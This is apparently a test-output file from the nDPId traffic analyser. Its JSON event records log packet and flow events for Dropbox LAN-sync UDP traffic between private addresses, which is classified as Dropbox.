+00419{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":81291,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXi1AAEAR6tfAqDhlwKg4AURcxI4AHfHlZUQdqyVsmyV8iy9yL0J1czE3Q21k"} +00534{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":185183,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"CAAnmO\/hCAAnAERyCABFAACAEbcAAIARNv\/AqDgBwKg4ZcSORFwAbOGwRwMdrCZfT\/MB3yhyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00426{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":189286,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"CAAnAERyCAAnmO\/hCABFAAAzXjVAAEAR6s3AqDhlwKg4AURcxI4AH\/HnZ0QdrCZfT\/MB3yiLL3IvQnVzMTdDbWQ="} +00523{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":294694,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EdEAAIARNurAqDgBwKg4ZcSORFwAZ8IuQgMdrQCBckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} +00417{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":300713,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXkRAAEAR6sPAqDhlwKg4AURcxI4AGvHiYkQdrQCBiy9yL0J1czE3Q21k"} +00529{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":413806,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EecAAIARNtLAqDgBwKg4ZcSORFwAafrxRAMdrpQQMahyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00421{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":419051,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXlpAAEAR6qvAqDhlwKg4AURcxI4AHPHkZEQdrpQQMaiLL3IvQnVzMTdDbWQ="} +00530{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":530785,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+Ef0AAIARNrvAqDgBwKg4ZcSORFwAassPRQMdr\/Kq\/CfKckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} +00423{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":536055,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXnBAAEAR6pTAqDhlwKg4AURcxI4AHfHlZUQdr\/Kq\/CfKiy9yL0J1czE3Q21k"} +00529{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":658448,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EhcAAIARNqLAqDgBwKg4ZcSORFwAaYovRAMdsNz8WXxyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTMgRUVUIDIwMTYifQ=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1455907274088,"flow_last_seen":0,"flow_tot_l4_data_len":105,"flow_min_l4_data_len":105,"flow_max_l4_data_len":105,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50312,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":88318,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EncAAIARNkLAqDgBwKg4ZcSIRFwAaR7GRANSj9XGl0FyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTQgRUVUIDIwMTYifQ=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":71,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1455907274088,"flow_last_seen":0,"flow_tot_l4_data_len":105,"flow_min_l4_data_len":105,"flow_max_l4_data_len":105,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50312,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00419{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":89637,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXqNAAEAR6mLAqDhlwKg4AURcxIgAHPHkZERSj9XGl0GLL3IvQnVzMTdDbWQ="} +00531{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":193327,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAnmO\/hCAAnAERyCABFAACBEpIAAIARNiPAqDgBwKg4ZcSIRFwAbeMnSANSkLugNTWCkTE2ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00424{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":196759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnAERyCAAnmO\/hCABFAAA0XrRAAEAR6k3AqDhlwKg4AURcxIgAIPHoaERSkLugNTWCkTE2iy9yL0J1czE3Q21k"} +00528{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":315964,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9ErEAAIARNgjAqDgBwKg4ZcSIRFwAaZj1RANSkbrKOAxyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTQgRUVUIDIwMTYifQ=="} +00420{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":321324,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXsVAAEAR6kDAqDhlwKg4AURcxIgAHPHkZERSkbrKOAyLL3IvQnVzMTdDbWQ="} +00527{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":430817,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+EtAAAIARNejAqDgBwKg4ZcSIRFwAajY+RQNSknZ4406+ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00420{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":441709,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXtpAAEAR6irAqDhlwKg4AURcxIgAHfHlZURSknZ4406+iy9yL0J1czE3Q21k"} +00528{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":550566,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+Eu8AAIARNcnAqDgBwKg4ZcSIRFwAaj5\/RQNSkz2wCtXHckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00421{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":553250,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxXuNAAEAR6iHAqDhlwKg4AURcxIgAHfHlZURSkz2wCtXHiy9yL0J1czE3Q21k"} +00525{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":674433,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7Ew4AAIARNa3AqDgBwKg4ZcSIRFwAZ6AIQgNSlO3EckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00418{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":676206,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXvJAAEAR6hXAqDhlwKg4AURcxIgAGvHiYkRSlO3Eiy9yL0J1czE3Q21k"} +00525{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":779814,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EykAAIARNZLAqDgBwKg4ZcSIRFwAZyZkQgNSlWdockRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00418{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":785600,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXwBAAEAR6gfAqDhlwKg4AURcxIgAGvHiYkRSlWdoiy9yL0J1czE3Q21k"} +00526{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":902701,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7E0wAAIARNW\/AqDgBwKg4ZcSIRFwAZyoCQgNSlmPJckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":153,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1455907275690,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50319,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00531{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":690777,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/FCAAAIARNJfAqDgBwKg4ZcSPRFwAa2JLRgOAZtDWwMpn\/nJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxNSBFRVQgMjAxNiJ9"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":153,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1455907275690,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50319,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00426{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":695868,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"CAAnAERyCAAnmO\/hCABFAAAyX35AAEAR6YXAqDhlwKg4AURcxI8AHvHmZkSAZtDWwMpn\/osvci9CdXMxN0NtZA=="} +00533{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":831283,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"CAAnmO\/hCAAnAERyCABFAACAFEwAAIARNGrAqDgBwKg4ZcSPRFwAbLkURwOAZ6ExGoh1VzNyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTUgRUVUIDIwMTYifQ=="} +00426{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":835251,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"CAAnAERyCAAnmO\/hCABFAAAzX45AAEAR6XTAqDhlwKg4AURcxI8AH\/HnZ0SAZ6ExGoh1VzOLL3IvQnVzMTdDbWQ="} +00524{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":958608,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FHgAAIARNEPAqDgBwKg4ZcSPRFwAZyUVQgOAaDrbckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00417{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":964538,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX5xAAEAR6WvAqDhlwKg4AURcxI8AGvHiYkSAaDrbiy9yL0J1czE3Q21k"} +00524{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":96644,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FKIAAIARNBnAqDgBwKg4ZcSPRFwAZ\/GyQgOAaW48ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00416{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":98994,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX65AAEAR6VnAqDhlwKg4AURcxI8AGvHiYkSAaW48iy9yL0J1czE3Q21k"} +00529{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":234342,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+FMkAAIARM+\/AqDgBwKg4ZcSPRFwAap3JRQOAaiZbdwHjckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00422{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":240216,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxX71AAEAR6UfAqDhlwKg4AURcxI8AHfHlZUSAaiZbdwHjiy9yL0J1czE3Q21k"} +00526{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":372207,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FPoAAIARM8HAqDgBwKg4ZcSPRFwAZ2MyQgOAa\/y6ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00419{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":378809,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX9tAAEAR6SzAqDhlwKg4AURcxI8AGvHiYkSAa\/y6iy9yL0J1czE3Q21k"} +00526{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":504810,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6FSUAAIARM5fAqDgBwKg4ZcSPRFwAZtwsQQOAbEZyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTYgRUVUIDIwMTYifQ=="} +00418{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":512120,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtX+dAAEAR6SHAqDhlwKg4AURcxI8AGfHhYUSAbEaLL3IvQnVzMTdDbWQ="} +00531{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":636911,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/FUwAAIARM2vAqDgBwKg4ZcSPRFwAa923RgOAbRWOzuOZuXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxNiBFRVQgMjAxNiJ9"} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":200,"flow_first_seen":1455907271481,"flow_last_seen":1455907282686,"flow_tot_l4_data_len":13320,"flow_min_l4_data_len":25,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50311,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 